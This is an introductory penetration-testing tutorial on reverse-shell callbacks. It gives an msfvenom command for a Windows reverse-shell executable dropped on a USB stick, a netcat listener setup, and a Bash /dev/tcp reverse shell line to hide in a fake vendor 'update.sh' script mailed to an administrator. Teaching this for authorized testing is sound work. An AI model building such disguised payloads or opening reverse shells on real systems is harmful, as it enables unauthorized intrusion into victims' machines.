Hisomeru's Pentesting 101 article series continues with a look at different callback techniques as well as simple SSH tunneling.

INTRODUCTION

In the last article we talked about different ways to get into the target network on a penetration test. The examples mentioned are just a few ways to get into a target network but there are many more. However, getting a USB stick or a phishing email into the network is only half of the process. To finish up accessing the network, the exploit or reverse shell has to call back to your listener. Catching a callback, also known as a beacon, can be difficult to catch at times due to firewalls on the target network or even a firewall on your host or host network. It’s important to keep in mind that there are many ways callbacks can go wrong. 

This article will cover a couple different callback techniques as well as simple SSH tunneling. This is not a primer on how to use SSH to make tunnels as that information can be found with a simple Google search. This article is a familiarization on how to send packets or receive callbacks during a penetration test. Also keep in mind that some of these techniques are unencrypted. Depending on the penetration testing target, you may need to take that into consideration. 

Here are a couple of notes before this article introduces the tools we use to catch callbacks and to do simple tunneling: 

Setting up any type of listener on a Linux operating system, a normal user cannot bind to a port lower than 1024. Only root can bind ports lower than 1024. 

The simple Windows payload will be created using the following msfvenom command:

msfvenom -p windows/shell_reverse_tcp LHOST=<callback IP> LPORT=4444 EXITFUNC=thread -f exe -a x86 --platform windows -o reverseshell.exe

The command line switches are “-p” for the type of payload. In this example, the payload will be a simple reverse TCP Windows shell. “LHOST” is the IP address or domain name to call back to. “LPORT” is the port to call back to. “EXITFUNC” means when the process is made, it will be created as a thread and try to exit more cleanly. “-f” means the format of the of output file should be an exe. “-a” signifies that the architecture should be x86. Using an x86 payload allows a little more flexibility as 64-bit versions of Windows can execute 32-bit applications. “--platform” states that the payload is for the Windows family of operating systems and finally “-o” provides the output filename.

* NOTE: The “LHOST” option will change as tunneling is introduced. 

NETCAT

Starting off, one of the easiest ways to catch an unencrypted callback is to use the tool called “netcat”. Often called “The TCP/IP Swiss Army Knife”, netcat was released in 1995 and is a ubiquitous tool in network security. It is available on all major operating systems and comes as a standard install on most Linux operating systems. It is so popular that others in the cyber security community have cloned it and have extended its usage. One of the more popular netcat clones is “ncat” released by the nmap team. The usage of netcat in this article can also be replicated by its clones with little to no change in command line flags. It’s important to note that netcat’s use cases go far beyond what this article will cover. Setting up netcat to be used as a listener or to send a shell is extremely easy. The commands for the Linux and Windows versions are nearly identical. 

Take the example of sending a USB stick to a target that we covered in the last article. When the unsuspecting user inserts the USB stick into a Windows computer, they may notice a file called “reverseshell.exe” in the file browser. If they double click on the executable in Windows it will initiate the callback to the listening netcat session. To set up this netcat listener, the command line flags of “-n” is used to stop reverse DNS lookup of the connecting IP address, “-v” is used to denote verbose mode, “-l” is used to start the listener, and finally “-p <port>” is used to specify the port to listen on. Below is a screenshot of creating the “reverseshell.exe” file, the setup of the netcat listener, and the callback of the shell to netcat. 

This is a very simple and rudimentary callback. If you notice, both computers involved are on the same subnet. If every penetration testing network were a flat network with the ability to plug right into it, penetration testing would be easy. 

BASH

For this next example, let’s flip the script a little and assume the target is a Linux server and a system administrator receives a USB stick in the mail from a “vendor”. On the USB stick is a script called “update.sh”. A talented penetration tester will make this script look like it is doing something but in the background it is sending a callback to a listening computer.

Nearly every version of Linux comes with Bash installed by default. It is normally the default shell of those operating systems as well. What is unique about Bash is that it has virtualized packet sending tools built in. These virtualized tools are “/dev/tcp” and “/dev/udp”, however doing a simple “ls” for them yields nothing.

Adding the line “bash -i >& /dev/tcp/192.168.1.1/4444 0>&1” to the script on the USB stick will cause an interactive Bash session to be pushed to 192.168.1.1 on port 4444. When the connection is made to the listening netcat, it allows the penetration tester console access to the victim machine.

You will see in the above screenshot that on the victim machine, it appears that the console is hung. If the victim closes the window or kills the process the reverse shell will be killed as well. Due to the nature of how netcat interprets special keys if the penetration tester uses the “ctrl+c” key combination, it will also kill the reverse shell connection. However, barring that the penetration tester has a near normal Bash shell on the victim machine. Once an interactive Bash prompt is received by netcat, it is possible to upgrade the shell to a normal shell with command history and other features.